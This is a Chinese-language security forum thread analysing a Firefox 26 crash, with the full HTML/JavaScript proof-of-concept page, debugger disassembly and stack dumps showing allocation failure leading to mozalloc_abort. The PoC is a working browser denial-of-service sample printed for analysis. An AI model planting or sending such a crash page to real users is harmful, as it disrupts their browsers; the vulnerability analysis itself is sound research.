查看: 10373|回复: 3

Firefox Crash 0Day分析

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2013-12-27 20:47:08 | 显示全部楼层 |阅读模式
    今日,在binvul(这里)看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意:注释是我自己添加上去的):
    【样本文件】

    1. <html>
    2. <head>
    3. <title>Mozilla Firefox Crash 0Day</title>
    4. <body onload="javascript:coolkaveh();">
    5. <script language="JavaScript">
    6. function coolkaveh(){
    7.     var buf = &#039;\x41\x41\x41&#039;
    8.     for(i=0; i <= 800 ; ++i){
    9. buf+=buf+buf            //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃
    10.         document.write(buf);   //Written by vscen:罪魁祸首
    11. }
    12. }
    13. </script>
    14. </head>
    15. </body>
    16. </html>
    复制代码
    【相关环境】
    分析工具:OllyICE
    浏览器:Firefox 26.0.0.5087
    操作系统:Windows
    【分析过程】
    分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃:

    1. 10004C15 >  56              push    esi                              ; mozglue.malloc
    2. 10004C16    8B7424 08       mov     esi, dword ptr [esp+8]
    3. 10004C1A    85F6            test    esi, esi
    4. 10004C1C    75 01           jnz     short 10004C1F
    5. 10004C1E    46              inc     esi
    6. 10004C1F    81FE 00F00F00   cmp     esi, 0FF000
    7. 10004C25    77 13           ja      short 10004C3A
    8. 10004C27    6A 00           push    0
    9. 10004C29    E8 60FDFFFF     call    1000498E   
    10. 10004C2E    8BC8            mov     ecx, eax
    复制代码
    拷贝(buf)里面的字符串到分配的缓冲区:

    1. 0156265C    8BD7            mov     edx, edi
    2. 0156265E    2BD0            sub     edx, eax
    3. 01562660    52              push    edx
    4. 01562661    50              push    eax
    5. 01562662    8B06            mov     eax, dword ptr [esi]
    6. 01562664    53              push    ebx
    7. 01562665    E8 26130000     call    01563990
    复制代码
    堆栈信息:
    0012DDA8   00F61096  /CALL 到 malloc 来自 mozalloc.00F61094

    1. 0012DDAC   0048FB78  \size = 48FB78 (4782968.)
    2. 0012DDB0   001853D3
    3. 0012DDB4   110503E0
    4. 0012DDB8   01563B0A  返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc
    5. 0012DDBC   0048FB78
    6. 0012DDC0   001853D3
    7. 0012DDC4   10F3A450
    8. 0012DDC8   00000041
    9. 0012DDCC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    10. 0012DDD0   00000000
    11. 0012DDD4   00000000
    12. 0012DDD8   0156266A  返回到 xul.0156266A 来自 xul.01563990
    13. 0012DDDC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    14. 0012DDE0   00000000
    15. 0012DDE4   00247DBC
    16. 0012DDE8   0012DE94
    17. 0012DDEC   10F3A450
    18. 0012DDF0   00000000
    19. 0012DDF4   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    复制代码
    【崩溃截图】
    13879185679124.jpg
    回复

    使用道具 举报

    该用户从未签到

    发表于 2013-12-28 17:28:54 | 显示全部楼层
    我是沙发。哈哈哈
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2024-7-29 21:03
  • 签到天数: 657 天

    [LV.9]以坛为家II

    发表于 2013-12-29 18:06:35 | 显示全部楼层
    不懂???
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-1-15 20:30:16 | 显示全部楼层
    没看明白。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-23 22:28 , Processed in 0.028146 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部